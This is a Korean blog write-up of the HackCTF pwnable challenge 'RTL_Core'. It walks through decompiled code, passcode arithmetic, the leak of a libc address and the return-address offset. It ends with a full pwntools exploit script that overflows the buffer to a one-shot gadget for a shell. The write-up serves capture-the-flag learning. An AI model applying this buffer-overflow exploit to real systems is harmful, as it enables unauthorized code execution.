본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) RTL_Core 풀이

by snwo 2020. 6. 3.

undefined4 main(void)

{
  int iVar1;
  char local_24 [24];
  undefined *local_c;
  
  local_c = &stack0x00000004;
  setvbuf(stdout,(char *)0x0,2,0);
  puts("코어 파일에 액세스중입니다...\n패스코드를 입력해주세요");
  printf("Passcode: ");
  gets(local_24);
  iVar1 = check_passcode(local_24);
  if (iVar1 == hashcode) {
    puts("코드가 일치하구나. 좋아, 다음 단서를 던져주지");
    core();
  }
  else {
    puts("실패!");
  }
  return 0;
}

바이너리파일과, 라이브러리파일을 준다.

check_passcode() 함수로 암호화한 결과가

hashcode 와 일치하면 core 함수를 실행시켜준다.


int check_passcode(int param_1)

{
  int local_c;
  int local_8;
  
  local_c = 0;
  local_8 = 0;
  while (local_8 < 5) {
    local_c = local_c + *(int *)(param_1 + local_8 * 4);
    local_8 = local_8 + 1;
  }
  return local_c;
}

check_passcode 함수로 암호화를하는데,입력한 문자열을 s 라하면

 

C+=s[4*x]

(5번반복) 

 

이러한 연산을 얻을 수 있다.

4바이트를 가져오기때문에,

s 를 int배열이라고치면,

s[0]+s[1]+s[2]+s[3]+s[4]=hashcode 라는 걸 알 수 있다.

 

hashcode = C0D9B0A7h 


hashcode = C0D9B0A7h

 

>>> float(hash)/5 = 647098401.4

(나머지가 나온다.)

 

>>> hash
3235492007
>>> 647098401*5
3235492005

 

마지막숫자에 2를 더해주면 되겠다.

(647098401*4+647098403)


void core(void)

{
  uint uVar1;
  undefined4 *puVar2;
  undefined4 local_42;
  undefined local_3e [42];
  undefined4 uStack20;
  undefined4 local_10;
  
  local_42 = 0;
  local_3e._0_4_ = 0;
  uStack20 = 0;
  uVar1 = (uint)((int)&local_10 - (int)(local_3e + 2)) >> 2;
  puVar2 = (undefined4 *)(local_3e + 2);
  while (uVar1 != 0) {
    uVar1 = uVar1 - 1;
    *puVar2 = 0;
    puVar2 = puVar2 + 1;
  }
  local_10 = dlsym(0xffffffff,"printf");
  printf("너에게 필요한 것은 바로 %p 일거야\n",local_10);
  read(0,&local_42,100);
  return;
}

passcode 가 맞을때 실행시켜주는 함수이다.

printf 의 주소를 출력해주고, bof 가 일어날만큼 입력을받기때문에

원샷가젯을 찾아 core() 에서 리턴하자.


z

원샷가젯을 찾았다.

사진에는 안나와있지만 4번째인 0x3a819 를 쓸것이다.


core함수 내에서

ebp-0x3e 에 입력받기때문에

ret 까지 거리는 0x3e+4 = 0x42


r=remote("ctf.j0n9hyun.xyz",3015)
#r=process("./rtlcore")
lib=ELF("./libc.so.6")
context.log_level='debug'

oneshot=0x3a819

pay=p32(647098401)*4
pay+=p32(647098403)

r.recv()
r.sendline(pay)

r.recvuntil("0x")
printf=int(r.recv(8),16)
libcbase=printf-lib.symbols['printf']
log.info(hex(printf))
oneshot+=libcbase

pay2="x"*0x42
pay2+=p32(oneshot)

r.sendline(pay2)

r.interactive()

왜인진 모르겠으나, 원샷가젯을 찾으면 4번째꺼부터 실행이 잘된다.